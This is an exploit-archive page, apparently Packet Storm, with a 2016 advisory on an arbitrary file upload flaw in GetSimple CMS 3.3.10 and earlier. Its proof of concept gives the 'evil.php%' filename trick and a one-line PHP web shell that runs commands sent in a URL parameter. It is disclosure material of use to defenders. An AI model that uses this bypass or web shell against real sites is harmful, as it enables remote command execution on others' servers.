exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

Getsimple CMS 3.3.10 Shell Upload

Getsimple CMS 3.3.10 Shell Upload
Posted Jun 23, 2016
Authored by s0nk3y

Getsimple CMS versions 3.3.10 and below suffer from a remote shell upload vulnerability.

tags | exploit, remote, shell, file upload
SHA-256 | e533c4e4ee4a7310978c28f7f540538a929f153e141561dd80c4d128d1c5fa32

Getsimple CMS 3.3.10 Shell Upload

Change Mirror Download
# Exploit Title: Getsimple CMS <= 3.3.10 Arbitrary File Upload Vulnerability
# Google Dork: -
# Date: 23/06/2016
# Exploit Author: s0nk3y
# Vendor Homepage: http://get-simple.info/
# Category: webapps
# Software Link: http://get-simple.info/data/uploads/releases/GetSimpleCMS-3.3.10.zip
# Version: 3.3.10
# Tested on: Ubuntu 16.04 / Mozilla Firefox
# CVE: -
# Twitter: http://twitter.com/s0nk3y
# Linkedin: Rahmat Nurfauzi - http://linkedin.com/in/rahmatnurfauzi

Description
========================

GetSimple CMS has been downloaded over 120,000 times (as of March 2013).
The magazine t3n assigns GetSimple as "micro" and "Minimal-CMS" one, praises
the simplicity yet possible extensibility through plug-ins.

Vulnerability
========================

GetSimpleCMS Version 3.3.10 suffers from arbitrary file upload vulnerability
which allows an attacker to upload a backdoor.

This vulnerability is that the application uses a blacklist and whitelist
technique to compare the file against mime types and extensions.

Proof of Concept
========================

For exploiting this vulnerability we will create a file by adding the percent
behind extension.
1. evil.php% <--- this is simple trick :)
<?php
// simple backdoor
system($_GET['cmd']);
?>
2. An attacker login to the admin page and uploading the backdoor
3. The uploaded file will be under the "/data/uploads/" folder

Report Timeline
========================
2016-06-23 : Vulnerability reported to vendor
2016-06-23 : Disclosure
Login or Register to add favorites

File Archive:

January 2023

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Jan 1st
    0 Files
  • 2
    Jan 2nd
    13 Files
  • 3
    Jan 3rd
    5 Files
  • 4
    Jan 4th
    5 Files
  • 5
    Jan 5th
    9 Files
  • 6
    Jan 6th
    5 Files
  • 7
    Jan 7th
    0 Files
  • 8
    Jan 8th
    0 Files
  • 9
    Jan 9th
    18 Files
  • 10
    Jan 10th
    31 Files
  • 11
    Jan 11th
    30 Files
  • 12
    Jan 12th
    33 Files
  • 13
    Jan 13th
    25 Files
  • 14
    Jan 14th
    0 Files
  • 15
    Jan 15th
    0 Files
  • 16
    Jan 16th
    7 Files
  • 17
    Jan 17th
    25 Files
  • 18
    Jan 18th
    38 Files
  • 19
    Jan 19th
    6 Files
  • 20
    Jan 20th
    21 Files
  • 21
    Jan 21st
    0 Files
  • 22
    Jan 22nd
    0 Files
  • 23
    Jan 23rd
    24 Files
  • 24
    Jan 24th
    68 Files
  • 25
    Jan 25th
    22 Files
  • 26
    Jan 26th
    20 Files
  • 27
    Jan 27th
    0 Files
  • 28
    Jan 28th
    0 Files
  • 29
    Jan 29th
    0 Files
  • 30
    Jan 30th
    0 Files
  • 31
    Jan 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Hosting By
Rokasec
close